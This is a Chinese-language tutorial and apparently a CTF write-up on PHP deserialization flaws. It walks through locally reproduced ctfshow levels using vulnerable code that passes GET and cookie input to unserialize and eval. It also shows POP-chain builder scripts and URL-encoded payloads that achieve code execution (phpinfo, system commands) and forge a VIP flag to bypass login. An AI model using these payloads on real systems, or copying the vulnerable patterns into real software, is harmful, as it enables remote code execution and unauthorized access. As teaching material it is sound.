反序列化中生成对象里面的值,是由反序列化里面的值决定,与原类中预定义的值的值无关,穷反序列化的对象可以使用类中的变量和方法
案例分析
反序列化中的值可以覆盖原类中的值
我们创建一个对象,对象创建的时候触发了construct方法输出字符串,在程序结束后,执行了系统命令ipconfig
我们修改一下条件,将创建B()对象的方式使用unserialize()进行传入数据,我们可以看到construct()函数没有被执行,但是对象销毁的时候还是调用了__destruct()函数执行了系统命令
修改一下源码,将ipconfig这个操作使用一个参数进行接收传递,我们这样的话我们构造x参数的值的时候我们就可以将这个变量转化为我们想要执行的命令如图
我们可以将cmd命令转化为我们指定的命令例如ver,然后修改对应的值,我们就可以执行我们想要的命令,例如我们想要执行ver命令,我们就把ipconfig改成ver并修改参数值即可返回我们想要执行的结果
接下来用几个案例来解释php反序列化的原理
案例分析
案例1
案例源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class test{
function __destruct(){
echo "destruct... <br>";
eval($_GET['cmd']);
}
}
unserialize($_GET['u']);
?>
通过代码分析我们可以知道,反序列化接收一个数据,如果我们想要执行eval函数,我们就要触发__destruct()方法,为此我们需要创建一个对象即可触发,然后再传递一个cmd参数进行命令执行即可
pop构造代码
<?php
class test{
}
$c = new test();
echo serialize($c);
echo '<br>';
echo urlencode(serialize($c))
?>
构造结果:
http://127.0.0.1/ctfshow/demo1.php?u=O:4:"test":0:{}&cmd=phpinfo();
执行结果
将phpinfo();改为了system('系统命令');就可以执行系统命令
案例2
案例源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj=new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
通过代码我们可以看到数据是通过unserialize进行传输,为此我们就可以利用传入的参数进行控制代码的显示,我们使用我们创建一个序列化的lemon对象,将其中的construct函数中的new normal()改为new evil()为后面的命令执行做准备,然后因为eval里面传递的是data的值,我们可以将其赋值为我们想要执行的命令,就可以实现命令执行
pop构造源码
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj= new evil();
}
}
class evil{
private $data="phpinfo();";
}
echo serialize(new lemon());
?>
因为我们是通过url传参,可能在传递的过程中会出现问题,为此我们进行URL编码进行url传递
O%3A5%3A%22lemon%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00classObj%22%3BN%3Bs%3A8%3A%22ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
结果展示
执行了phpinfo()的效果
本地复现了ctfshow的几个关卡来学习php反序列化
案例3
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
include('flag.php');
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这题和序列化无关,根据要求传入username和password的值即可
127.0.0.1/ctfshow/ser1.php?username=xxxxxx&password=xxxxxx
结果展示
案例4
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
include('flag.php');
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
从代码中分析,绕过我们要获取flag需要调用vipOneKeyGetFlag(),但是这个函数里面使用了isVip这个变量,被赋值为flase,又因为传参的时候是通过反序列化接收的cookie的值,我们可以通过这个反序列化函数传入一个isVip变量为ture的值,然后获取flag
pop构造源码
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$c = new ctfShowUser();
echo serialize($c);
echo '<br>';
echo urlencode(serialize($c))
?>
为了方便传输我们要进行url编码即:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
结果展示
案例5
<?php
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
include('flag.php');
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
通过代码分析我们可以知道,这题的关键就是所给的username的值和password的值相等,但是触发条件有不相等,我们就需要使用反序列化函数将其中的username和password分别改为不同的值进行传参,然后触发条件即可
我们可以构造源码
<?php
class ctfShowUser{
public $username='x';
public $password='y';
public $isVip=true;
}
$c = new ctfShowUser();
echo serialize($c);
echo '<br>';
echo urlencode(serialize($c))
?>
为了方便传输我们要进行url编码即:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
结果展示
案例6
<?php
//eval('phpinfo();');
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_GET['user']);
$user->login($username,$password);
}
环境复现有点问题,在网上找了个结果的截图
写在最后
如有错误,请及时指出,感谢